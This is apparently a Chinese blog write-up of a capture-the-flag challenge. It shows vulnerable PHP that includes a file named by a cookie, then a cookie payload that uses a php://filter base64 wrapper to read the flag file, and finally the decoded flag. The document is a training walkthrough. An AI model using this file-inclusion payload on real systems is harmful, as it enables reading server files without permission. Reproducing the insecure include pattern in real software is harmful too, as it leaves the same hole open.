前言
作者简介:不知名白帽,网络安全学习者。
博客主页:https://blog.csdn.net/m0_63127854?type=blog
攻防世界专栏:https://blog.csdn.net/m0_63127854/category_11983747.html
目录
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
源代码中看到` @include($lan.".php"); `,可知此处存在文件包含。
`$lan`的值是从cookie中传过来的。所以对`language`赋值,构造payload,重放包就可读出flag.php经过base64加密后字符串,base64解密后得到flag。
构造payload
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
注意这里是flag而不是官方提到的flag.php
base64解码
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2Y2NzUyNWI4NWNiY2NiZGZhNGMwNTYwN2ZmZjdjZTM0fSI7DQo/Pg=
cyberpeace{f67525b85cbccbdfa4c05607fff7ce34}
来源地址:https://blog.csdn.net/m0_63127854/article/details/126632632